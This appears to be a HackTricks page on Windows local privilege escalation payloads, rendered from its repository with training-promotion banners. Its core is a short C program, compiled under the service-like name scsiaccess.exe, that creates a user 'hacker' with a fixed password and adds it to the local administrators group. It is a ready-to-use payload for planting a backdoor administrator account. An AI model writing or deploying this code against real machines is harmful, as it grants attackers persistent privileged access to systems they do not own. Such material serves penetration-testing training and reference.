hacktricks/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
Carlos Polop cfff5cc9a8 re
2024-12-14 12:46:15 +01:00

2.5 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Add user

// i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

#include <stdlib.h> /* system, NULL, EXIT_FAILURE */  
int main ()  
{  
    int i;
    system("net user hacker Hacker123! /add");
    system("net localgroup administrators hacker /add");  
    return 0;  
}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}